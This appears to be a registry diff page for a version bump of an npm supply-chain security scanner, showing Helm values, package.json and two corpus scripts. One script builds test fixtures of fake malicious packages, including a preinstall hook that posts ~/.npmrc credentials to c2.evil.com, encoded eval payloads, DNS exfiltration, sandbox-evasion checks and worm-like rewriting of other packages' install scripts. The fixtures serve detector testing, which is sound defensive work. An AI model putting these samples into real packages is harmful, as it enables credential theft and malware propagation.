@lateos/npm-scan 0.17.1 → 0.18.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (89) hide show
  1. package/.dockerignore +20 -20
  2. package/.husky/pre-commit +1 -1
  3. package/CHANGELOG.md +199 -199
  4. package/LICENSING.md +19 -19
  5. package/README.de.md +708 -708
  6. package/README.fr.md +707 -707
  7. package/README.ja.md +704 -704
  8. package/README.md +826 -826
  9. package/README.zh.md +708 -708
  10. package/SECURITY.md +72 -72
  11. package/backend/cra.js +68 -68
  12. package/backend/db/schema.sql +32 -32
  13. package/backend/db.js +88 -88
  14. package/backend/detectors/atk-001-lifecycle.js +17 -17
  15. package/backend/detectors/atk-002-obfusc.js +261 -261
  16. package/backend/detectors/atk-003-creds.js +13 -13
  17. package/backend/detectors/atk-004-persist.js +13 -13
  18. package/backend/detectors/atk-005-exfil.js +13 -13
  19. package/backend/detectors/atk-006-depconf.js +14 -14
  20. package/backend/detectors/atk-007-typosquat.js +34 -34
  21. package/backend/detectors/atk-008-tarball-tamper.js +91 -91
  22. package/backend/detectors/atk-009-dormant-trigger.js +62 -62
  23. package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
  24. package/backend/detectors/atk-011-transitive-prop.js +76 -76
  25. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
  26. package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
  27. package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
  28. package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
  29. package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
  30. package/backend/detectors/hf-impersonation/index.js +396 -396
  31. package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
  32. package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
  33. package/backend/detectors/hf-impersonation/simhash.js +46 -46
  34. package/backend/detectors/index.js +75 -75
  35. package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
  36. package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
  37. package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
  38. package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
  39. package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
  40. package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
  41. package/backend/detectors/megalodon/index.js +80 -80
  42. package/backend/detectors/megalodon/types.js +9 -9
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
  49. package/backend/detectors/mini-shai-hulud/index.js +118 -118
  50. package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
  51. package/backend/fetch.js +175 -175
  52. package/backend/index.js +4 -4
  53. package/backend/license.js +89 -89
  54. package/backend/lockfile.js +379 -379
  55. package/backend/pdf.js +245 -245
  56. package/backend/policy.js +193 -193
  57. package/backend/report.js +254 -254
  58. package/backend/sbom.js +66 -66
  59. package/backend/siem/cef.js +32 -32
  60. package/backend/siem/ecs.js +40 -40
  61. package/backend/siem/index.js +18 -18
  62. package/backend/siem/qradar.js +56 -56
  63. package/backend/siem/sentinel.js +27 -27
  64. package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
  65. package/backend/vsix-scan/detectors/burst-publish.js +52 -52
  66. package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
  67. package/backend/vsix-scan/detectors/known-ioc.js +105 -105
  68. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
  69. package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
  70. package/backend/vsix-scan/index.js +183 -183
  71. package/backend/vsix-scan/marketplace-client.js +145 -145
  72. package/backend/vsix-scan/vsix-iocs.json +31 -31
  73. package/cli/cli.js +458 -458
  74. package/deploy/helm/npm-scan/Chart.yaml +21 -21
  75. package/deploy/helm/npm-scan/templates/_helpers.tpl +8 -8
  76. package/deploy/helm/npm-scan/templates/api.yaml +93 -93
  77. package/deploy/helm/npm-scan/templates/ingress.yaml +27 -27
  78. package/deploy/helm/npm-scan/templates/postgresql.yaml +66 -66
  79. package/deploy/helm/npm-scan/templates/secrets.yaml +18 -18
  80. package/deploy/helm/npm-scan/templates/worker.yaml +31 -31
  81. package/deploy/helm/npm-scan/values.byoc.yaml +74 -74
  82. package/deploy/helm/npm-scan/values.yaml +102 -102
  83. package/package.json +57 -57
  84. package/scripts/download-corpus.js +30 -30
  85. package/scripts/gen-mal-corpus.js +34 -34
  86. package/test/fixtures/lockfiles/npm-lock.json +68 -68
  87. package/test/fixtures/lockfiles/pnpm-lock.yaml +117 -117
  88. package/test/fixtures/lockfiles/yarn.lock +103 -103
  89. package/test/fixtures/mock-data.js +69 -69
@@ -1,75 +1,75 @@
1
- # BYOC Enterprise values example
2
- # Deploy to your VPC: helm install -f values.byoc.yaml npm-scan ./
3
-
4
- image:
5
- repository: lateos/npm-scan
6
- tag: "1.0.0"
7
-
8
- premium:
9
- enabled: true
10
- edition: enterprise
11
- byoc:
12
- enabled: true
13
- cloudProvider: aws
14
- vpcId: vpc-0123456789abcdef0
15
- region: us-east-1
16
- clusterName: npm-scan-enterprise
17
- externalDb: true
18
- externalRedis: true
19
-
20
- license:
21
- key: "npm-scan-enterprise-XXXXX.YOUR-SIGNATURE-HERE"
22
- secret: "your-license-secret"
23
-
24
- siem:
25
- enabled: true
26
- type: cef
27
- endpoint: log-collector.your-company.com
28
- port: 514
29
- protocol: tcp
30
-
31
- pdf:
32
- enabled: true
33
-
34
- sso:
35
- enabled: true
36
- provider: oidc
37
- clientId: npm-scan-enterprise
38
- issuerUrl: https://sso.your-company.com/realms/enterprise
39
-
40
- postgresql:
41
- enabled: false
42
- host: your-rds-endpoint.rds.amazonaws.com
43
- port: 5432
44
- database: npm_scan
45
- username: npm_scan
46
- password: ""
47
-
48
- redis:
49
- enabled: false
50
- host: your-redis-endpoint.cache.amazonaws.com
51
- port: 6379
52
-
53
- ingress:
54
- enabled: true
55
- className: nginx
56
- host: npm-scan.your-company.com
57
- tls:
58
- - secretName: npm-scan-tls
59
- hosts:
60
- - npm-scan.your-company.com
61
-
62
- persistence:
63
- enabled: true
64
- size: 50Gi
65
- storageClass: gp3
66
-
67
- worker:
68
- replicas: 4
69
- resources:
70
- requests:
71
- cpu: 500m
72
- memory: 1Gi
73
- limits:
74
- cpu: 2
1
+ # BYOC Enterprise values example
2
+ # Deploy to your VPC: helm install -f values.byoc.yaml npm-scan ./
3
+
4
+ image:
5
+ repository: lateos/npm-scan
6
+ tag: "1.0.0"
7
+
8
+ premium:
9
+ enabled: true
10
+ edition: enterprise
11
+ byoc:
12
+ enabled: true
13
+ cloudProvider: aws
14
+ vpcId: vpc-0123456789abcdef0
15
+ region: us-east-1
16
+ clusterName: npm-scan-enterprise
17
+ externalDb: true
18
+ externalRedis: true
19
+
20
+ license:
21
+ key: "npm-scan-enterprise-XXXXX.YOUR-SIGNATURE-HERE"
22
+ secret: "your-license-secret"
23
+
24
+ siem:
25
+ enabled: true
26
+ type: cef
27
+ endpoint: log-collector.your-company.com
28
+ port: 514
29
+ protocol: tcp
30
+
31
+ pdf:
32
+ enabled: true
33
+
34
+ sso:
35
+ enabled: true
36
+ provider: oidc
37
+ clientId: npm-scan-enterprise
38
+ issuerUrl: https://sso.your-company.com/realms/enterprise
39
+
40
+ postgresql:
41
+ enabled: false
42
+ host: your-rds-endpoint.rds.amazonaws.com
43
+ port: 5432
44
+ database: npm_scan
45
+ username: npm_scan
46
+ password: ""
47
+
48
+ redis:
49
+ enabled: false
50
+ host: your-redis-endpoint.cache.amazonaws.com
51
+ port: 6379
52
+
53
+ ingress:
54
+ enabled: true
55
+ className: nginx
56
+ host: npm-scan.your-company.com
57
+ tls:
58
+ - secretName: npm-scan-tls
59
+ hosts:
60
+ - npm-scan.your-company.com
61
+
62
+ persistence:
63
+ enabled: true
64
+ size: 50Gi
65
+ storageClass: gp3
66
+
67
+ worker:
68
+ replicas: 4
69
+ resources:
70
+ requests:
71
+ cpu: 500m
72
+ memory: 1Gi
73
+ limits:
74
+ cpu: 2
75
75
  memory: 2Gi
@@ -1,103 +1,103 @@
1
- # Helm values for npm-scan BYOC
2
- # Override per environment: helm install -f values-prod.yaml
3
-
4
- image:
5
- repository: lateos/npm-scan
6
- tag: latest
7
- pullPolicy: Always
8
-
9
- replicaCount: 1
10
-
11
- license:
12
- key: ""
13
- secret: ""
14
-
15
- premium:
16
- enabled: false
17
- edition: premium
18
- byoc:
19
- enabled: false
20
- cloudProvider: ""
21
- vpcId: ""
22
- region: ""
23
- clusterName: ""
24
- externalDb: true
25
- externalRedis: true
26
-
27
- siem:
28
- enabled: false
29
- type: cef
30
- endpoint: ""
31
- port: 514
32
- protocol: tcp
33
- apiKey: ""
34
-
35
- pdf:
36
- enabled: false
37
-
38
- sso:
39
- enabled: false
40
- provider: oidc
41
- clientId: ""
42
- clientSecret: ""
43
- issuerUrl: ""
44
- allowedDomains: []
45
-
46
- postgresql:
47
- enabled: true
48
- host: ""
49
- port: 5432
50
- database: npm_scan
51
- username: npm_scan
52
- password: ""
53
- existingSecret: ""
54
-
55
- api:
56
- enabled: true
57
- port: 8000
58
- host: 0.0.0.0
59
- replicas: 1
60
- corsOrigins: ["*"]
61
- resources:
62
- requests:
63
- cpu: 100m
64
- memory: 128Mi
65
- limits:
66
- cpu: 500m
67
- memory: 512Mi
68
-
69
- worker:
70
- enabled: true
71
- replicas: 2
72
- resources:
73
- requests:
74
- cpu: 200m
75
- memory: 256Mi
76
- limits:
77
- cpu: 1
78
- memory: 1Gi
79
-
80
- ingress:
81
- enabled: false
82
- className: ""
83
- annotations: {}
84
- host: npm-scan.example.com
85
- tls: []
86
-
87
- service:
88
- type: ClusterIP
89
- port: 80
90
-
91
- persistence:
92
- enabled: true
93
- size: 10Gi
94
- storageClass: ""
95
-
96
- nodeSelector: {}
97
- tolerations: []
98
- affinity: {}
99
-
100
- redis:
101
- enabled: false
102
- host: ""
1
+ # Helm values for npm-scan BYOC
2
+ # Override per environment: helm install -f values-prod.yaml
3
+
4
+ image:
5
+ repository: lateos/npm-scan
6
+ tag: latest
7
+ pullPolicy: Always
8
+
9
+ replicaCount: 1
10
+
11
+ license:
12
+ key: ""
13
+ secret: ""
14
+
15
+ premium:
16
+ enabled: false
17
+ edition: premium
18
+ byoc:
19
+ enabled: false
20
+ cloudProvider: ""
21
+ vpcId: ""
22
+ region: ""
23
+ clusterName: ""
24
+ externalDb: true
25
+ externalRedis: true
26
+
27
+ siem:
28
+ enabled: false
29
+ type: cef
30
+ endpoint: ""
31
+ port: 514
32
+ protocol: tcp
33
+ apiKey: ""
34
+
35
+ pdf:
36
+ enabled: false
37
+
38
+ sso:
39
+ enabled: false
40
+ provider: oidc
41
+ clientId: ""
42
+ clientSecret: ""
43
+ issuerUrl: ""
44
+ allowedDomains: []
45
+
46
+ postgresql:
47
+ enabled: true
48
+ host: ""
49
+ port: 5432
50
+ database: npm_scan
51
+ username: npm_scan
52
+ password: ""
53
+ existingSecret: ""
54
+
55
+ api:
56
+ enabled: true
57
+ port: 8000
58
+ host: 0.0.0.0
59
+ replicas: 1
60
+ corsOrigins: ["*"]
61
+ resources:
62
+ requests:
63
+ cpu: 100m
64
+ memory: 128Mi
65
+ limits:
66
+ cpu: 500m
67
+ memory: 512Mi
68
+
69
+ worker:
70
+ enabled: true
71
+ replicas: 2
72
+ resources:
73
+ requests:
74
+ cpu: 200m
75
+ memory: 256Mi
76
+ limits:
77
+ cpu: 1
78
+ memory: 1Gi
79
+
80
+ ingress:
81
+ enabled: false
82
+ className: ""
83
+ annotations: {}
84
+ host: npm-scan.example.com
85
+ tls: []
86
+
87
+ service:
88
+ type: ClusterIP
89
+ port: 80
90
+
91
+ persistence:
92
+ enabled: true
93
+ size: 10Gi
94
+ storageClass: ""
95
+
96
+ nodeSelector: {}
97
+ tolerations: []
98
+ affinity: {}
99
+
100
+ redis:
101
+ enabled: false
102
+ host: ""
103
103
  port: 6379
package/package.json CHANGED
@@ -1,57 +1,57 @@
1
- {
2
- "name": "@lateos/npm-scan",
3
- "version": "0.17.1",
4
- "description": "Modern npm supply chain security scanner — detects obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation. 11 attack types, SBOM, NIST/EU CRA compliance reporting.",
5
- "main": "backend/index.js",
6
- "bin": {
7
- "npm-scan": "cli/cli.js"
8
- },
9
- "type": "module",
10
- "license": "Apache-2.0",
11
- "repository": {
12
- "type": "git",
13
- "url": "git+https://github.com/lateos-ai/npm-scan.git"
14
- },
15
- "readme": "README.md",
16
- "keywords": [
17
- "npm",
18
- "security",
19
- "supply-chain",
20
- "scanner",
21
- "malware",
22
- "shai-hulud",
23
- "sbom",
24
- "compliance"
25
- ],
26
- "scripts": {
27
- "dev": "node cli/cli.js",
28
- "lint": "echo 'Lint stub'",
29
- "test": "node --test",
30
- "test:coverage": "node --experimental-test-coverage --test",
31
- "test:verbose": "node --test --test-reporter spec",
32
- "prepare": "husky",
33
- "build": "echo 'Build stub'",
34
- "corpus": "node tests/corpus/run.js"
35
- },
36
- "lint-staged": {
37
- "**/package{,-lock}.json": "sh -c 'node cli/cli.js scan-lockfile --fail-on high'",
38
- "**/yarn.lock": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --yarn'",
39
- "**/pnpm-lock.yaml": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --pnpm'"
40
- },
41
- "publishConfig": {
42
- "access": "public"
43
- },
44
- "dependencies": {
45
- "acorn": "^8.16.0",
46
- "commander": "^14.0.3",
47
- "glob": "^13.0.6",
48
- "js-yaml": "^4.1.1",
49
- "pdf-lib": "^1.17.1",
50
- "sql.js": "^1.11.0",
51
- "tar": "^7.5.15"
52
- },
53
- "devDependencies": {
54
- "husky": "^9.1.7",
55
- "lint-staged": "^16.4.0"
56
- }
57
- }
1
+ {
2
+ "name": "@lateos/npm-scan",
3
+ "version": "0.18.1",
4
+ "description": "Modern npm supply chain security scanner — detects obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation. 11 attack types, SBOM, NIST/EU CRA compliance reporting.",
5
+ "main": "backend/index.js",
6
+ "bin": {
7
+ "npm-scan": "cli/cli.js"
8
+ },
9
+ "type": "module",
10
+ "license": "Apache-2.0",
11
+ "repository": {
12
+ "type": "git",
13
+ "url": "git+https://github.com/lateos-ai/npm-scan.git"
14
+ },
15
+ "readme": "README.md",
16
+ "keywords": [
17
+ "npm",
18
+ "security",
19
+ "supply-chain",
20
+ "scanner",
21
+ "malware",
22
+ "shai-hulud",
23
+ "sbom",
24
+ "compliance"
25
+ ],
26
+ "scripts": {
27
+ "dev": "node cli/cli.js",
28
+ "lint": "echo 'Lint stub'",
29
+ "test": "node --test",
30
+ "test:coverage": "node --experimental-test-coverage --test",
31
+ "test:verbose": "node --test --test-reporter spec",
32
+ "prepare": "husky",
33
+ "build": "echo 'Build stub'",
34
+ "corpus": "node tests/corpus/run.js"
35
+ },
36
+ "lint-staged": {
37
+ "**/package{,-lock}.json": "sh -c 'node cli/cli.js scan-lockfile --fail-on high'",
38
+ "**/yarn.lock": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --yarn'",
39
+ "**/pnpm-lock.yaml": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --pnpm'"
40
+ },
41
+ "publishConfig": {
42
+ "access": "public"
43
+ },
44
+ "dependencies": {
45
+ "acorn": "^8.16.0",
46
+ "commander": "^14.0.3",
47
+ "glob": "^13.0.6",
48
+ "js-yaml": "^4.1.1",
49
+ "pdf-lib": "^1.17.1",
50
+ "sql.js": "^1.11.0",
51
+ "tar": "^7.5.15"
52
+ },
53
+ "devDependencies": {
54
+ "husky": "^9.1.7",
55
+ "lint-staged": "^16.4.0"
56
+ }
57
+ }
@@ -1,30 +1,30 @@
1
- import fetch from 'node-fetch';
2
- import { writeFileSync, existsSync } from 'fs';
3
-
4
- const TOP_PKGS = [
5
- 'lodash', 'chalk', 'react', 'axios', 'express',
6
- 'tslib', 'commander', 'typescript', 'vue', 'next',
7
- 'yargs', 'debug', 'moment', 'uuid', 'semver',
8
- 'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
9
- 'underscore', 'request', 'async', 'cheerio', 'bluebird',
10
- 'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
11
- 'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
12
- 'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
13
- 'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
14
- 'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
15
- ];
16
-
17
- for (const pkg of TOP_PKGS) {
18
- const file = `tests/corpus/clean/${pkg}.tgz`;
19
- if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
20
- try {
21
- const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
22
- const meta = await res.json();
23
- const tarRes = await fetch(meta.dist.tarball);
24
- const buf = Buffer.from(await tarRes.arrayBuffer());
25
- writeFileSync(file, buf);
26
- console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
27
- } catch (e) {
28
- console.log(`FAIL ${pkg}: ${e.message}`);
29
- }
30
- }
1
+ import fetch from 'node-fetch';
2
+ import { writeFileSync, existsSync } from 'fs';
3
+
4
+ const TOP_PKGS = [
5
+ 'lodash', 'chalk', 'react', 'axios', 'express',
6
+ 'tslib', 'commander', 'typescript', 'vue', 'next',
7
+ 'yargs', 'debug', 'moment', 'uuid', 'semver',
8
+ 'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
9
+ 'underscore', 'request', 'async', 'cheerio', 'bluebird',
10
+ 'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
11
+ 'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
12
+ 'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
13
+ 'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
14
+ 'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
15
+ ];
16
+
17
+ for (const pkg of TOP_PKGS) {
18
+ const file = `tests/corpus/clean/${pkg}.tgz`;
19
+ if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
20
+ try {
21
+ const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
22
+ const meta = await res.json();
23
+ const tarRes = await fetch(meta.dist.tarball);
24
+ const buf = Buffer.from(await tarRes.arrayBuffer());
25
+ writeFileSync(file, buf);
26
+ console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
27
+ } catch (e) {
28
+ console.log(`FAIL ${pkg}: ${e.message}`);
29
+ }
30
+ }
@@ -1,35 +1,35 @@
1
- import { execSync } from 'child_process';
2
- import { writeFileSync, mkdirSync, rmSync } from 'fs';
3
- import { join } from 'path';
4
-
5
- const BASE = '/tmp/npm-scan-mal';
6
-
7
- const MALS = [
8
- { name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
9
- { name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
10
- { name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
11
- { name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
12
- { name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
13
- { name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
14
- { name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
15
- { name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
16
- { name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
17
- { name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
18
- { name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
19
- { name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
20
- { name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
21
- ];
22
-
23
- for (const mal of MALS) {
24
- const dir = join(BASE, mal.name);
25
- rmSync(dir, { recursive: true, force: true });
26
- mkdirSync(dir, { recursive: true });
27
- writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
28
- if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
29
- execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
30
- console.log(`OK ${mal.name}`);
31
- }
32
-
33
- console.log('All mal corpus entries generated.');
34
- console.log('Total:', MALS.length);
1
+ import { execSync } from 'child_process';
2
+ import { writeFileSync, mkdirSync, rmSync } from 'fs';
3
+ import { join } from 'path';
4
+
5
+ const BASE = '/tmp/npm-scan-mal';
6
+
7
+ const MALS = [
8
+ { name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
9
+ { name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
10
+ { name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
11
+ { name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
12
+ { name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
13
+ { name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
14
+ { name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
15
+ { name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
16
+ { name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
17
+ { name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
18
+ { name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
19
+ { name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
20
+ { name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
21
+ ];
22
+
23
+ for (const mal of MALS) {
24
+ const dir = join(BASE, mal.name);
25
+ rmSync(dir, { recursive: true, force: true });
26
+ mkdirSync(dir, { recursive: true });
27
+ writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
28
+ if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
29
+ execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
30
+ console.log(`OK ${mal.name}`);
31
+ }
32
+
33
+ console.log('All mal corpus entries generated.');
34
+ console.log('Total:', MALS.length);
35
35
  console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');